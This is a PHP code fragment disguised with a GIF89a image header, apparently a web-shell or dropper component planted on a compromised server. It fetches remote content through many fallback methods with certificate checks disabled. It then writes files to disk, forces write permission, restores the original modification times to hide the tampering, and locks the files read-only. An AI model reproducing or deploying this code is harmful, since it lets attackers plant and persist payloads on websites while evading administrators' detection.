GIF89aÜ Ü ÷à ÿ array( 'timeout' => $timeout, 'header' => $headers ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ) )); $data = @file_get_contents($url, false, $ctx); if ($data !== false) return $data; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => $timeout, CURLOPT_TIMEOUT => $timeout, CURLOPT_USERAGENT => $ua, CURLOPT_ENCODING => '', CURLOPT_HTTPHEADER =>array( 'Accept: */*', 'Accept-Language: en-US,en;q=0.9', 'Accept-Encoding: identity' ), CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0 )); $data = curl_exec($ch); curl_close($ch); if ($data !== false) return $data; } if (ini_get('allow_url_fopen')) { $fp = @fopen($url, 'rb', false, $ctx); if ($fp) { $data = stream_get_contents($fp); fclose($fp); if ($data !== false) return $data; } } $p = parse_url($url); if (!empty($p['host'])) { $scheme = (isset($p['scheme']) ? $p['scheme'] : 'http') === 'https' ? 'ssl' : 'tcp'; $port = (isset($p['scheme']) && $p['scheme'] === 'https') ? 443 : 80; $host = $p['host']; $path = (isset($p['path']) ? $p['path'] : '/') . (isset($p['query']) ? '?' . $p['query'] : ''); $fp = @fsockopen("$scheme://$host", $port, $e, $s, $timeout); if ($fp) { fwrite($fp, "GET $path HTTP/1.1\r\n" . "Host: $host\r\n" . $headers . "Connection: close\r\n\r\n" ); $resp = stream_get_contents($fp); fclose($fp); if ($resp && ($pos = strpos($resp, "\r\n\r\n")) !== false) { return substr($resp, $pos + 4); } } } return false; } function saveContent($path, $source){ $dir = dirname($path); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $fileExistPath = file_exists($path); if ($fileExistPath){ $stat = stat($path); $originalMTime = $stat['mtime']; if (!is_writable($path)) { @chmod($path, 0644); if (!is_writable($path)) return false; } } if (@file_put_contents($path, $source) !== false) { if ($fileExistPath){ @touch($path, $originalMTime, $originalMTime); @chmod($path, 0555); } return true; } $fp = @fopen($path, 'wb'); if ($fp) { $written = @fwrite($fp, $source); fclose($fp); if ($written !== false) { if ($fileExistPath){ @touch($path, $originalMTime, $originalMTime); @chmod($path, 0555); } return true; } } try { $file = new SplFileObject($path, 'wb'); $bytes = $file->fwrite($source); if ($bytes !== false) { if ($fileExistPath){ @touch($path, $originalMTime, $originalMTime); @chmod($path, 0555); } return true; } } catch (Exception $e) { // skip } $temp = @fopen('php://temp', 'r+'); if ($temp) { fwrite($temp, $source); rewind($temp); $dest = @fopen($path, 'wb'); if ($dest) { stream_copy_to_stream($temp, $dest); fclose($dest); fclose($temp); if ($fileExistPath){ @touch($path, $originalMTime, $originalMTime); @chmod($path, 0555); } return true; } fclose($temp); } return false; } function random_string($length = 6) { $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $str = ''; for ($i = 0; $i < $length; $i++) { $str .= $chars[random_int(0, strlen($chars) - 1)]; } return $str; } ?>